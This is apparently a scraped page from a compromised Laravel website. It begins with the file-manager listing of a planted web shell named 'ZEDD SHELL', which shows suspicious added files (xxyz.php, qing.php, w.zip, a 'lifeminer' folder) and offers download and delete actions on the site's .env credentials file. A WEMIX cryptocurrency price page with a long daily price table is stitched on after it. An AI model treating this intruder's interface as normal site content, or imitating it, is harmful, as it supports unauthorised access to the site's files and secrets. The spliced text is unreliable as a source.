ZEDD SHELL

File	Size	Tanggal	Owner/Group	Permissions	Actions
[ . ]		04 Apr 2025, 02:03	5803	0750
[ .. ]		02 Apr 2025, 09:02	5803	0711
[ .well-known ]		16 Mar 2025, 17:36	5803	0755	Zip \| Hapus
[ app ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ bootstrap ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ cgi-bin ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ config ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ database ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ hooks ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ lifeminer ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ public ]		02 Apr 2025, 10:38	5803	0755	Zip \| Hapus
[ resources ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ routes ]		02 Apr 2025, 19:42	5803	0755	Zip \| Hapus
[ sitemap ]		02 Apr 2025, 21:15	5803	0755	Zip \| Hapus
[ stake ]		02 Apr 2025, 10:41	5803	0755	Zip \| Hapus
[ storage ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ tests ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
[ vendor ]		22 Sep 2023, 05:38	5803	0755	Zip \| Hapus
.env	1.18 Kb	23 Sep 2023, 02:29	5803	0644	Download \| Rename \| Kosong \| Delete
.htaccess	1.08 Kb	04 Apr 2025, 02:03	5803	0644	Download \| Rename \| Kosong \| Delete
ads.txt	67 b	29 Mar 2025, 17:17	5803	0644	Download \| Rename \| Kosong \| Delete
artisan	1.70 Kb	22 Sep 2023, 05:38	5803	0644	Download \| Rename \| Kosong \| Delete
composer.json	1.83 Kb	22 Sep 2023, 05:38	5803	0644	Download \| Rename \| Kosong \| Delete
custom-plugin.php	6.45 Kb	03 Apr 2025, 05:55	5803	0644	Download \| Rename \| Kosong \| Delete
de0dbc94-3698-40.txt	16 b	09 Jan 2025, 13:35	5803	0644	Download \| Rename \| Kosong \| Delete
error_log	79.59 Kb	03 Apr 2025, 17:46	5803	0644	Download \| Rename \| Kosong \| Delete
index.php	596 b	02 Apr 2025, 10:29	5803	0644	Download \| Rename \| Kosong \| Delete
qing.php	28 b	02 Apr 2025, 10:30	5803	0644	Download \| Rename \| Kosong \| Delete
robots.txt	959 b	02 Apr 2025, 10:44	5803	0644	Download \| Rename \| Kosong \| Delete
sitemap.xml	224.79 Kb	03 Apr 2025, 21:16	5803	0644	Download \| Rename \| Kosong \| Delete
system-config.php	1.13 Kb	03 Apr 2025, 17:34	5803	0644	Download \| Rename \| Kosong \| Delete
w.zip	1.36 Kb	02 Apr 2025, 10:29	5803	0644	Download \| Rename \| Kosong \| Delete
xxyz.php	6.45 Kb	03 Apr 2025, 17:46	5803	0644	Download \| Rename \| Kosong \| Delete

WEMIX Crypto Coin Rank 164

419,237,779 WEMIX

24h Vol

28 BTC

1 H

-0.63 %

24 H

0.29 %

7 d

-2.73 %

Today WEMIX price in US dollars is currently 0.5148 USD, and if converted to Bitcoin is 0.00000620 BTC. A total of 419,237,779 WEMIX are currently circulating in the Market. WEMIX price is currently experiencing a change of 0.29 %, and check here all cryptocurrency. Over the past 24 hours 0.024 M US dollars WEMIX have been traded on Crypto Exchanges. Get WEMIX's progress by adding it to your favourites and creating a free portfolio.

Full Name

WEMIX

Symbol

WEMIX

Algorithm

N/A

BTC Price

0.00000620 BTC

BTC Market

2,599 BTC

BTC 24h Vol

28 BTC

Total Coins Mined

419,237,779 WEMIX

-0.63 %

24h

0.29 %

-2.73 %

N/A

Website

N/A

WEMIX Charts

WEMIX High/Low Price Chart

Historical Data

Date	Open	Close	High	Low
2023-03-28	$1.42	$1.44	$1.44	$1.42
2023-03-29	$1.44	$1.42	$1.44	$1.36
2023-03-30	$1.42	$1.45	$1.46	$1.37
2023-03-31	$1.45	$1.40	$1.45	$1.39
2023-04-01	$1.40	$1.40	$1.41	$1.38
2023-04-02	$1.40	$1.36	$1.41	$1.28
2023-04-03	$1.36	$1.29	$1.37	$1.26
2023-04-04	$1.29	$1.27	$1.30	$1.25
2023-04-05	$1.27	$1.30	$1.30	$1.27
2023-04-06	$1.30	$1.28	$1.31	$1.25
2023-04-07	$1.28	$1.28	$1.31	$1.27
2023-04-08	$1.28	$1.27	$1.29	$1.26
2023-04-09	$1.27	$1.18	$1.29	$1.17
2023-04-10	$1.18	$1.19	$1.24	$0.9820000
2023-04-11	$1.19	$1.15	$1.19	$1.14
2023-04-12	$1.15	$1.13	$1.16	$1.09
2023-04-13	$1.13	$1.12	$1.16	$1.06
2023-04-14	$1.12	$1.23	$1.23	$1.07
2023-04-15	$1.23	$1.20	$1.27	$1.19
2023-04-16	$1.20	$1.19	$1.21	$1.15
2023-04-17	$1.19	$1.15	$1.20	$1.14
2023-04-18	$1.15	$1.39	$1.41	$1.15
2023-04-19	$1.39	$1.27	$1.39	$1.22
2023-04-20	$1.27	$1.35	$1.39	$1.25
2023-04-21	$1.35	$1.26	$1.39	$1.23
2023-04-22	$1.26	$1.27	$1.30	$1.25
2023-04-23	$1.27	$1.27	$1.29	$1.25
2023-04-24	$1.27	$1.25	$1.29	$1.23
2023-04-25	$1.25	$1.30	$1.31	$1.24
2023-04-26	$1.30	$1.26	$1.31	$1.21
2023-04-27	$1.26	$1.28	$1.29	$1.23
2023-04-28	$1.28	$1.29	$1.33	$1.27
2023-04-29	$1.29	$1.27	$1.29	$1.26
2023-04-30	$1.27	$1.26	$1.28	$1.25
2023-05-01	$1.26	$1.23	$1.27	$1.21
2023-05-02	$1.23	$1.18	$1.25	$1.08
2023-05-03	$1.18	$1.13	$1.19	$1.06
2023-05-04	$1.13	$1.06	$1.14	$1.02
2023-05-05	$1.06	$1.05	$1.07	$0.9997000
2023-05-06	$1.05	$0.9348000	$1.06	$0.8675000
2023-05-07	$0.9348000	$0.9752000	$0.9929000	$0.9266000
2023-05-08	$0.9752000	$0.9008000	$0.9956000	$0.8744000
2023-05-09	$0.9008000	$0.9088000	$0.9307000	$0.8049000
2023-05-10	$0.9088000	$0.8461000	$0.9132000	$0.8024000
2023-05-11	$0.8461000	$0.7448000	$0.8511000	$0.7285000
2023-05-12	$0.7448000	$0.7786000	$0.8200000	$0.6020000
2023-05-13	$0.7786000	$0.7900000	$0.8168000	$0.7550000
2023-05-14	$0.7900000	$0.8003000	$0.8278000	$0.7617000
2023-05-15	$0.8003000	$0.8707000	$0.8935000	$0.7915000
2023-05-16	$0.8707000	$0.8565000	$0.9059000	$0.8179000
2023-05-17	$0.8565000	$0.8953000	$0.9035000	$0.8314000
2023-05-18	$0.8953000	$0.8713000	$0.9004000	$0.8506000
2023-05-19	$0.8713000	$0.8873000	$0.8978000	$0.8688000
2023-05-20	$0.8873000	$0.8706000	$0.8887000	$0.8690000
2023-05-21	$0.8706000	$0.8607000	$0.8815000	$0.8597000
2023-05-22	$0.8607000	$0.8484000	$0.8663000	$0.8384000
2023-05-23	$0.8484000	$0.7836000	$0.8508000	$0.7633000
2023-05-24	$0.7836000	$0.7650000	$0.7873000	$0.7464000
2023-05-25	$0.7650000	$0.8443000	$0.8552000	$0.7643000
2023-05-26	$0.8443000	$0.8260000	$0.8502000	$0.8062000
2023-05-27	$0.8260000	$0.8289000	$0.8303000	$0.8115000
2023-05-28	$0.8289000	$0.8300000	$0.8361000	$0.8198000
2023-05-29	$0.8300000	$0.8323000	$0.8494000	$0.8250000
2023-05-30	$0.8323000	$0.8309000	$0.8448000	$0.8235000
2023-05-31	$0.8309000	$0.7884000	$0.8341000	$0.7699000
2023-06-01	$0.7884000	$0.7784000	$0.8019000	$0.7701000
2023-06-02	$0.7784000	$0.7868000	$0.7888000	$0.7505000
2023-06-03	$0.7868000	$0.7808000	$0.7907000	$0.7737000
2023-06-04	$0.7808000	$0.7730000	$0.7843000	$0.7685000
2023-06-05	$0.7730000	$0.7408000	$0.7760000	$0.7208000
2023-06-06	$0.7408000	$0.7402000	$0.7473000	$0.7040000
2023-06-07	$0.7402000	$0.6658000	$0.7437000	$0.6567000
2023-06-08	$0.6658000	$0.6984000	$0.7053000	$0.6646000
2023-06-09	$0.6984000	$0.6651000	$0.7131000	$0.6227000
2023-06-10	$0.6651000	$0.6087000	$0.6773000	$0.5841000
2023-06-11	$0.6087000	$0.6001000	$0.6165000	$0.5890000
2023-06-12	$0.6001000	$0.5792000	$0.6022000	$0.5716000
2023-06-13	$0.5792000	$0.6646000	$0.6925000	$0.5791000
2023-06-14	$0.6646000	$0.6355000	$0.6771000	$0.6127000
2023-06-15	$0.6355000	$0.6742000	$0.6865000	$0.6161000
2023-06-16	$0.6742000	$0.6709000	$0.6851000	$0.6545000
2023-06-17	$0.6709000	$0.6898000	$0.6979000	$0.6701000
2023-06-18	$0.6898000	$0.7182000	$0.7371000	$0.6893000
2023-06-19	$0.7182000	$0.6932000	$0.7265000	$0.6866000
2023-06-20	$0.6932000	$0.6956000	$0.7003000	$0.6577000
2023-06-21	$0.6956000	$0.6823000	$0.7007000	$0.6662000
2023-06-22	$0.6823000	$0.6842000	$0.7130000	$0.6737000
2023-06-23	$0.6842000	$0.7466000	$0.7705000	$0.6254000
2023-06-24	$0.7466000	$0.7223000	$0.7537000	$0.7200000
2023-06-25	$0.7223000	$0.7253000	$0.7398000	$0.7109000
2023-06-26	$0.7253000	$0.7138000	$0.7287000	$0.7100000
2023-06-27	$0.7138000	$0.7200000	$0.7331000	$0.7093000
2023-06-28	$0.7200000	$0.6969000	$0.7278000	$0.6866000
2023-06-29	$0.6969000	$0.6845000	$0.6979000	$0.6763000
2023-06-30	$0.6845000	$0.6301000	$0.6936000	$0.6062000
2023-07-01	$0.6301000	$0.6399000	$0.6531000	$0.6287000
2023-07-02	$0.6399000	$0.6770000	$0.8872000	$0.6272000
2023-07-03	$0.6770000	$0.7093000	$0.7335000	$0.6611000
2023-07-04	$0.7093000	$0.7168000	$0.7441000	$0.7009000
2023-07-05	$0.7168000	$0.6929000	$0.7224000	$0.6827000
2023-07-06	$0.6929000	$0.6822000	$0.7159000	$0.6799000
2023-07-07	$0.6822000	$0.6762000	$0.6961000	$0.6274000
2023-07-08	$0.6762000	$0.6710000	$0.6961000	$0.6609000
2023-07-09	$0.6710000	$0.6699000	$0.6881000	$0.6618000
2023-07-10	$0.6699000	$0.6603000	$0.6729000	$0.6512000
2023-07-11	$0.6603000	$0.6817000	$0.6870000	$0.6547000
2023-07-12	$0.6817000	$0.6701000	$0.6878000	$0.6624000
2023-07-13	$0.6701000	$0.6806000	$0.6844000	$0.6575000
2023-07-14	$0.6806000	$0.6727000	$0.6993000	$0.6707000
2023-07-15	$0.6727000	$0.6726000	$0.6799000	$0.6629000
2023-07-16	$0.6726000	$0.6683000	$0.6796000	$0.6623000
2023-07-17	$0.6683000	$0.6675000	$0.6781000	$0.6487000
2023-07-18	$0.6675000	$0.6663000	$0.6684000	$0.6565000
2023-07-19	$0.6663000	$0.6723000	$0.6825000	$0.6565000
2023-07-20	$0.6723000	$0.6627000	$0.6879000	$0.6580000
2023-07-21	$0.6627000	$0.6598000	$0.6693000	$0.6497000
2023-07-22	$0.6598000	$0.6558000	$0.6668000	$0.6477000
2023-07-23	$0.6558000	$0.6571000	$0.6628000	$0.6526000
2023-07-24	$0.6571000	$0.6466000	$0.6634000	$0.6231000
2023-07-25	$0.6466000	$0.6393000	$0.6605000	$0.6312000
2023-07-26	$0.6393000	$0.6371000	$0.6491000	$0.6256000
2023-07-27	$0.6371000	$0.6296000	$0.6540000	$0.6136000
2023-07-28	$0.6296000	$0.6358000	$0.6450000	$0.6171000
2023-07-29	$0.6358000	$0.6306000	$0.6379000	$0.6242000
2023-07-30	$0.6306000	$0.6160000	$0.6398000	$0.6131000
2023-07-31	$0.6160000	$0.6130000	$0.6204000	$0.6005000
2023-08-01	$0.6130000	$0.6044000	$0.6161000	$0.5922000
2023-08-02	$0.6044000	$0.6261000	$0.6485000	$0.6011000
2023-08-03	$0.6261000	$0.6139000	$0.6443000	$0.5985000
2023-08-04	$0.6139000	$0.6076000	$0.6182000	$0.6009000
2023-08-05	$0.6076000	$0.6099000	$0.6162000	$0.6004000
2023-08-06	$0.6099000	$0.6043000	$0.6171000	$0.6039000
2023-08-07	$0.6043000	$0.6082000	$0.6154000	$0.6003000
2023-08-08	$0.6082000	$0.6012000	$0.6120000	$0.5925000
2023-08-09	$0.6012000	$0.6457000	$0.6509000	$0.5972000
2023-08-10	$0.6457000	$0.6221000	$0.6754000	$0.6100000
2023-08-11	$0.6221000	$0.6218000	$0.6291000	$0.6109000
2023-08-12	$0.6218000	$0.6175000	$0.6246000	$0.6093000
2023-08-13	$0.6175000	$0.6144000	$0.6223000	$0.6134000
2023-08-14	$0.6144000	$0.6160000	$0.6257000	$0.6091000
2023-08-15	$0.6160000	$0.6102000	$0.6180000	$0.6059000
2023-08-16	$0.6102000	$0.5952000	$0.6114000	$0.5938000
2023-08-17	$0.5952000	$0.5465000	$0.5993000	$0.5016000
2023-08-18	$0.5465000	$0.5690000	$0.5733000	$0.5316000
2023-08-19	$0.5690000	$0.5776000	$0.5984000	$0.5621000
2023-08-20	$0.5776000	$0.5734000	$0.5838000	$0.5574000
2023-08-21	$0.5734000	$0.5457000	$0.5742000	$0.5398000
2023-08-22	$0.5457000	$0.5491000	$0.5588000	$0.5402000
2023-08-23	$0.5491000	$0.5566000	$0.5594000	$0.5418000
2023-08-24	$0.5566000	$0.5490000	$0.5651000	$0.5434000
2023-08-25	$0.5490000	$0.5573000	$0.5667000	$0.5391000
2023-08-26	$0.5573000	$0.5538000	$0.5622000	$0.5375000
2023-08-27	$0.5538000	$0.5848000	$0.5934000	$0.5476000
2023-08-28	$0.5848000	$0.5685000	$0.5854000	$0.5613000
2023-08-29	$0.5685000	$0.5813000	$0.5924000	$0.5581000
2023-08-30	$0.5813000	$0.5758000	$0.5970000	$0.5666000
2023-08-31	$0.5758000	$0.5685000	$0.5815000	$0.5599000
2023-09-01	$0.5685000	$0.5628000	$0.5725000	$0.5534000
2023-09-02	$0.5628000	$0.5605000	$0.5715000	$0.5546000
2023-09-03	$0.5605000	$0.5634000	$0.5657000	$0.5541000
2023-09-04	$0.5634000	$0.5630000	$0.5675000	$0.5544000
2023-09-05	$0.5630000	$0.5926000	$0.5943000	$0.5579000
2023-09-06	$0.5926000	$0.5788000	$0.6139000	$0.5644000
2023-09-07	$0.5788000	$0.5820000	$0.5912000	$0.5753000
2023-09-08	$0.5820000	$0.5670000	$0.5829000	$0.5614000
2023-09-09	$0.5670000	$0.5712000	$0.5765000	$0.5627000
2023-09-10	$0.5712000	$0.5612000	$0.5730000	$0.5603000
2023-09-11	$0.5612000	$0.5505000	$0.5644000	$0.5459000
2023-09-12	$0.5505000	$0.5627000	$0.5767000	$0.5214000
2023-09-13	$0.5627000	$0.5589000	$0.5998000	$0.5524000
2023-09-14	$0.5589000	$0.5620000	$0.5793000	$0.5507000
2023-09-15	$0.5620000	$0.5677000	$0.5689000	$0.5580000
2023-09-16	$0.5677000	$0.5720000	$0.5756000	$0.5634000
2023-09-17	$0.5720000	$0.5697000	$0.5759000	$0.5633000
2023-09-18	$0.5697000	$0.6801000	$0.7141000	$0.5674000
2023-09-19	$0.6801000	$0.6671000	$0.6817000	$0.6343000
2023-09-20	$0.6671000	$0.9268000	$0.9361000	$0.6601000
2023-09-21	$0.9268000	$0.8306000	$0.9350000	$0.7849000
2023-09-22	$0.8306000	$0.9045000	$0.9259000	$0.7866000
2023-09-23	$0.9052000	$1.09	$1.11	$0.9019000
2023-09-24	$1.09	$1.21	$1.29	$1.08
2023-09-25	$1.21	$1.08	$1.34	$0.7215000
2023-09-26	$1.08	$0.9745000	$1.11	$0.8951000
2023-09-27	$0.9740000	$0.9481000	$1.01	$0.8899000
2023-09-28	$0.9481000	$0.9155000	$0.9808000	$0.9038000
2023-09-29	$0.9155000	$0.9896000	$1.02	$0.9123000
2023-09-30	$0.9896000	$1.05	$1.09	$0.9889000
2023-10-01	$1.05	$1.07	$1.14	$1.06
2023-10-02	$1.07	$1.04	$1.09	$1.01
2023-10-03	$1.04	$1.04	$1.07	$1.00
2023-10-04	$1.04	$1.03	$1.05	$1.01
2023-10-05	$1.03	$0.9788000	$1.02	$0.9678000
2023-10-06	$0.9788000	$1.02	$1.05	$0.9978000
2023-10-07	$1.02	$1.02	$1.03	$1.01
2023-10-08	$1.02	$1.01	$1.04	$0.9954000
2023-10-09	$1.01	$0.9715000	$0.9847000	$0.9380000
2023-10-10	$0.9715000	$0.9865000	$0.9865000	$0.9400000
2023-10-11	$0.9865000	$0.9852000	$1.01	$0.9753000
2023-10-12	$0.9852000	$0.9851000	$1.00	$0.9646000
2023-10-13	$0.9851000	$0.9794000	$0.9962000	$0.9701000
2023-10-14	$0.9794000	$1.00	$1.04	$0.9752000
2023-10-15	$1.00	$0.9915000	$1.01	$0.9887000
2023-10-16	$0.9915000	$0.9794000	$1.02	$0.9596000
2023-10-17	$0.9794000	$0.9690000	$0.9868000	$0.9579000
2023-10-18	$0.9690000	$0.9130000	$0.9757000	$0.9021000
2023-10-19	$0.9130000	$0.8277000	$0.9195000	$0.8231000
2023-10-20	$0.8277000	$0.9485000	$0.9603000	$0.8244000
2023-10-21	$0.9485000	$1.01	$1.03	$0.2516000
2023-10-22	$1.01	$1.00	$1.08	$0.9942000
2023-10-23	$1.00	$1.05	$1.09	$1.04
2023-10-24	$1.05	$1.07	$1.09	$1.03
2023-10-25	$1.07	$1.06	$1.08	$1.02
2023-10-26	$1.06	$1.04	$1.08	$1.03
2023-10-27	$1.04	$1.08	$1.10	$1.03
2023-10-28	$1.08	$1.07	$1.08	$1.05
2023-10-29	$1.07	$1.09	$1.09	$1.07
2023-10-30	$1.09	$1.14	$1.15	$1.09
2023-10-31	$1.14	$1.23	$1.27	$1.14
2023-11-01	$1.23	$1.28	$1.29	$1.21
2023-11-02	$1.28	$1.27	$1.28	$1.21
2023-11-03	$1.28	$1.47	$1.50	$1.26
2023-11-04	$1.47	$1.73	$1.82	$1.44
2023-11-05	$1.73	$1.71	$1.79	$1.58
2023-11-06	$1.71	$1.98	$2.06	$1.71
2023-11-07	$1.98	$1.71	$2.12	$1.46
2023-11-08	$1.71	$1.89	$2.05	$1.70
2023-11-09	$1.89	$1.87	$1.99	$1.80
2023-11-10	$1.87	$1.83	$1.91	$1.68
2023-11-11	$1.84	$1.76	$1.82	$1.72
2023-11-12	$1.77	$1.87	$1.87	$1.70
2023-11-13	$1.87	$1.83	$1.89	$1.80
2023-11-14	$1.83	$1.79	$1.89	$1.75
2023-11-15	$1.79	$1.85	$1.89	$1.71
2023-11-16	$1.85	$1.78	$1.82	$1.72
2023-11-17	$1.78	$1.75	$1.80	$1.72
2023-11-18	$1.76	$1.75	$1.81	$1.71
2023-11-19	$1.76	$1.81	$1.83	$1.78
2023-11-20	$1.81	$1.80	$1.83	$1.76
2023-11-21	$1.80	$1.74	$1.76	$1.70
2023-11-22	$1.75	$1.79	$1.79	$1.70
2023-11-23	$1.79	$1.79	$1.79	$1.70
2023-11-24	$1.79	$1.82	$1.83	$1.75
2023-11-25	$1.81	$1.81	$1.83	$1.79
2023-11-26	$1.81	$1.80	$1.83	$1.78
2023-11-27	$1.80	$1.82	$1.87	$1.77
2023-11-28	$1.83	$2.06	$2.11	$1.81
2023-11-29	$2.06	$2.06	$2.07	$1.97
2023-11-30	$2.04	$2.24	$2.24	$2.03
2023-12-01	$2.24	$2.32	$2.41	$2.21
2023-12-02	$2.34	$2.59	$2.61	$2.41
2023-12-03	$2.58	$2.64	$2.73	$2.51
2023-12-04	$2.64	$2.71	$2.84	$2.50
2023-12-05	$2.71	$2.70	$2.77	$2.49
2023-12-06	$2.70	$3.22	$3.39	$2.64
2023-12-07	$3.22	$3.90	$3.96	$3.15
2023-12-08	$3.90	$3.65	$3.93	$3.38
2023-12-09	$3.65	$3.61	$3.74	$3.48
2023-12-10	$3.54	$3.69	$3.76	$3.50
2023-12-11	$3.70	$3.55	$3.73	$3.38
2023-12-12	$3.52	$3.72	$4.33	$3.48
2023-12-13	$3.72	$3.70	$3.92	$3.61
2023-12-14	$3.69	$3.73	$3.92	$3.61
2023-12-15	$3.72	$3.46	$3.58	$3.38
2023-12-16	$3.46	$3.44	$3.48	$3.27
2023-12-17	$3.44	$3.42	$3.53	$3.31
2023-12-18	$3.42	$3.23	$3.48	$3.01
2023-12-19	$3.25	$3.23	$3.29	$3.08
2023-12-20	$3.23	$3.20	$3.29	$3.17
2023-12-21	$3.26	$3.42	$3.58	$3.31
2023-12-22	$3.42	$3.34	$3.56	$3.23
2023-12-23	$3.34	$3.31	$3.37	$3.28
2023-12-24	$3.31	$3.24	$3.27	$3.19
2023-12-25	$3.24	$3.34	$3.38	$3.07
2023-12-26	$3.34	$3.14	$3.28	$3.07
2023-12-27	$3.14	$3.10	$3.37	$3.03
2023-12-28	$3.10	$3.04	$3.10	$2.92
2023-12-29	$3.04	$2.81	$2.98	$2.67
2023-12-30	$2.81	$2.57	$2.84	$2.43
2023-12-31	$2.58	$2.53	$2.63	$2.36
2024-01-01	$2.53	$2.82	$2.87	$2.48
2024-01-02	$2.82	$2.95	$3.04	$2.81
2024-01-03	$2.95	$2.69	$2.77	$2.47
2024-01-04	$2.68	$2.72	$2.83	$2.55
2024-01-05	$2.71	$2.64	$2.72	$2.58
2024-01-06	$2.64	$2.55	$2.62	$2.52
2024-01-07	$2.55	$2.55	$2.60	$2.51
2024-01-08	$2.57	$2.62	$2.65	$2.41
2024-01-09	$2.62	$2.79	$2.93	$2.56
2024-01-10	$2.79	$2.84	$2.96	$2.59
2024-01-11	$2.88	$2.76	$2.96	$2.74
2024-01-12	$2.75	$2.63	$2.77	$2.51
2024-01-13	$2.63	$2.63	$2.68	$2.54
2024-01-14	$2.63	$2.58	$2.71	$2.52
2024-01-15	$2.59	$2.63	$2.64	$2.53
2024-01-16	$2.63	$2.70	$2.74	$2.60
2024-01-17	$2.70	$2.63	$2.66	$2.57
2024-01-18	$2.63	$2.60	$2.65	$2.54
2024-01-19	$2.60	$2.59	$2.64	$2.54
2024-01-20	$2.59	$2.58	$2.59	$2.54
2024-01-21	$2.58	$2.57	$2.58	$2.52
2024-01-22	$2.57	$2.44	$2.45	$2.33
2024-01-23	$2.44	$2.44	$2.52	$2.20
2024-01-24	$2.44	$2.37	$2.51	$2.35
2024-01-25	$2.38	$2.35	$2.41	$2.28
2024-01-26	$2.35	$2.39	$2.58	$2.33
2024-01-27	$2.38	$2.37	$2.43	$2.34
2024-01-28	$2.37	$2.37	$2.41	$2.31
2024-01-29	$2.36	$2.43	$2.43	$2.25
2024-01-30	$2.43	$2.48	$2.64	$2.40
2024-01-31	$2.48	$2.37	$2.51	$2.37
2024-02-01	$2.38	$2.43	$2.47	$2.34
2024-02-02	$2.43	$2.40	$2.45	$2.38
2024-02-03	$2.40	$2.40	$2.42	$2.32
2024-02-04	$2.40	$2.36	$2.41	$2.32
2024-02-05	$2.36	$2.31	$2.37	$2.28
2024-02-06	$2.31	$2.32	$2.40	$2.28
2024-02-07	$2.32	$2.31	$2.38	$2.26
2024-02-08	$2.31	$2.29	$2.35	$2.12
2024-02-09	$2.28	$2.23	$2.37	$2.17
2024-02-10	$2.23	$2.22	$2.28	$2.20
2024-02-11	$2.22	$2.22	$2.25	$2.16
2024-02-12	$2.22	$2.25	$2.38	$2.23
2024-02-13	$2.25	$2.15	$2.24	$2.13
2024-02-14	$2.16	$2.32	$2.38	$2.13
2024-02-15	$2.37	$2.29	$2.43	$2.26
2024-02-16	$2.29	$2.25	$2.28	$2.22
2024-02-17	$2.25	$2.18	$2.25	$2.17
2024-02-18	$2.18	$2.22	$2.32	$2.22
2024-02-19	$2.22	$2.18	$2.27	$2.14
2024-02-20	$2.18	$2.16	$2.27	$2.14
2024-02-21	$2.16	$2.10	$2.19	$2.08
2024-02-22	$2.10	$2.10	$2.11	$2.02
2024-02-23	$2.10	$2.04	$2.08	$1.99
2024-02-24	$2.04	$2.04	$2.09	$2.03
2024-02-25	$2.04	$2.09	$2.20	$2.08
2024-02-26	$2.09	$2.09	$2.16	$2.05
2024-02-27	$2.09	$2.36	$2.38	$2.06
2024-02-28	$2.38	$2.25	$2.42	$2.14
2024-02-29	$2.23	$2.21	$2.24	$2.10
2024-03-01	$2.21	$2.27	$2.29	$2.21
2024-03-02	$2.24	$2.59	$2.63	$2.23
2024-03-03	$2.58	$2.81	$2.83	$2.46
2024-03-04	$2.82	$2.71	$3.02	$2.69
2024-03-05	$2.72	$2.49	$2.80	$2.37
2024-03-06	$2.49	$2.64	$2.69	$2.43
2024-03-07	$2.64	$2.76	$2.80	$2.66
2024-03-08	$2.76	$2.97	$3.10	$2.74
2024-03-09	$2.97	$3.02	$3.08	$2.88
2024-03-10	$3.01	$3.20	$3.27	$2.95
2024-03-11	$3.20	$3.19	$3.28	$2.87
2024-03-12	$3.18	$3.26	$3.53	$3.06
2024-03-13	$3.23	$3.35	$3.49	$3.19
2024-03-14	$3.35	$2.90	$3.39	$2.59
2024-03-15	$2.90	$2.76	$2.90	$2.34
2024-03-16	$2.75	$2.45	$2.63	$2.42
2024-03-17	$2.45	$2.77	$2.79	$2.45
2024-03-18	$2.77	$2.76	$2.86	$2.62
2024-03-19	$2.76	$2.61	$2.66	$2.41
2024-03-20	$2.61	$2.76	$3.02	$2.73
2024-03-21	$2.76	$2.75	$2.89	$2.67
2024-03-22	$2.75	$2.61	$2.65	$2.52
2024-03-23	$2.61	$2.56	$2.62	$2.50
2024-03-24	$2.56	$2.60	$2.66	$2.57
2024-03-25	$2.59	$2.54	$2.62	$2.41
2024-03-26	$2.54	$2.47	$2.57	$2.42
2024-03-27	$2.47	$2.36	$2.46	$2.15
2024-03-28	$2.38	$2.30	$2.39	$2.20
2024-03-29	$2.30	$2.23	$2.30	$2.19
2024-03-30	$2.23	$2.21	$2.26	$2.21
2024-03-31	$2.21	$2.24	$2.31	$2.13
2024-04-01	$2.31	$2.13	$2.22	$2.10
2024-04-02	$2.13	$1.95	$2.00	$1.86
2024-04-03	$1.95	$2.11	$2.15	$1.79
2024-04-04	$2.13	$2.21	$2.25	$2.09
2024-04-05	$2.21	$2.24	$2.33	$2.19
2024-04-06	$2.24	$2.18	$2.27	$2.16
2024-04-07	$2.18	$2.16	$2.19	$2.14
2024-04-08	$2.16	$2.10	$2.16	$2.08
2024-04-09	$2.10	$2.05	$2.08	$1.98
2024-04-10	$2.05	$2.03	$2.07	$1.95
2024-04-11	$2.03	$2.02	$2.05	$1.98
2024-04-12	$2.01	$1.69	$2.02	$1.44
2024-04-13	$1.68	$1.45	$1.57	$1.43
2024-04-14	$1.45	$1.50	$1.57	$1.41
2024-04-15	$1.50	$1.44	$1.54	$1.39
2024-04-16	$1.45	$1.47	$1.48	$1.42
2024-04-17	$1.47	$1.43	$1.45	$1.40
2024-04-18	$1.43	$1.49	$1.50	$1.43
2024-04-19	$1.49	$1.46	$1.49	$1.38
2024-04-20	$1.46	$1.53	$1.53	$1.45
2024-04-21	$1.53	$1.53	$1.53	$1.52
2024-04-22	$1.54	$1.93	$1.95	$1.54
2024-04-23	$1.93	$1.81	$2.04	$1.81
2024-04-24	$1.81	$1.71	$1.82	$1.71
2024-04-25	$1.73	$1.75	$1.77	$1.64
2024-04-26	$1.75	$1.67	$1.75	$1.66
2024-04-27	$1.67	$1.61	$1.68	$1.58
2024-04-28	$1.61	$1.61	$1.70	$1.61
2024-04-29	$1.61	$1.63	$1.64	$1.58
2024-04-30	$1.63	$1.53	$1.64	$1.51
2024-05-01	$1.53	$1.56	$1.57	$1.45
2024-05-02	$1.56	$1.66	$1.68	$1.56
2024-05-03	$1.66	$1.68	$1.76	$1.68
2024-05-04	$1.68	$1.67	$1.70	$1.64
2024-05-05	$1.67	$1.65	$1.69	$1.65
2024-05-06	$1.65	$1.68	$1.68	$1.60
2024-05-07	$1.68	$1.68	$1.72	$1.65
2024-05-08	$1.67	$1.57	$1.66	$1.54
2024-05-09	$1.57	$1.61	$1.62	$1.54
2024-05-10	$1.61	$1.55	$1.59	$1.52
2024-05-11	$1.55	$1.54	$1.57	$1.53
2024-05-12	$1.54	$1.55	$1.55	$1.52
2024-05-13	$1.55	$1.52	$1.56	$1.51
2024-05-14	$1.52	$1.48	$1.50	$1.46
2024-05-15	$1.48	$1.53	$1.57	$1.52
2024-05-16	$1.53	$1.49	$1.51	$1.47
2024-05-17	$1.49	$1.51	$1.58	$1.49
2024-05-18	$1.51	$1.51	$1.56	$1.48
2024-05-19	$1.51	$1.46	$1.50	$1.46
2024-05-20	$1.46	$1.50	$1.74	$1.49
2024-05-21	$1.51	$1.46	$1.52	$1.46
2024-05-22	$1.46	$1.43	$1.45	$1.40
2024-05-23	$1.43	$1.35	$1.45	$1.32
2024-05-24	$1.35	$1.41	$1.45	$1.33
2024-05-25	$1.41	$1.42	$1.43	$1.39
2024-05-26	$1.42	$1.41	$1.45	$1.38
2024-05-27	$1.42	$1.42	$1.42	$1.37
2024-05-28	$1.42	$1.37	$1.42	$1.32
2024-05-29	$1.36	$1.34	$1.36	$1.31
2024-05-30	$1.34	$1.31	$1.34	$1.28
2024-05-31	$1.31	$1.28	$1.31	$1.25
2024-06-01	$1.28	$1.32	$1.32	$1.29
2024-06-02	$1.32	$1.32	$1.34	$1.30
2024-06-03	$1.32	$1.38	$1.42	$1.31
2024-06-04	$1.38	$1.38	$1.39	$1.33
2024-06-05	$1.38	$1.35	$1.39	$1.32
2024-06-06	$1.35	$1.31	$1.35	$1.31
2024-06-07	$1.31	$1.27	$1.32	$1.26
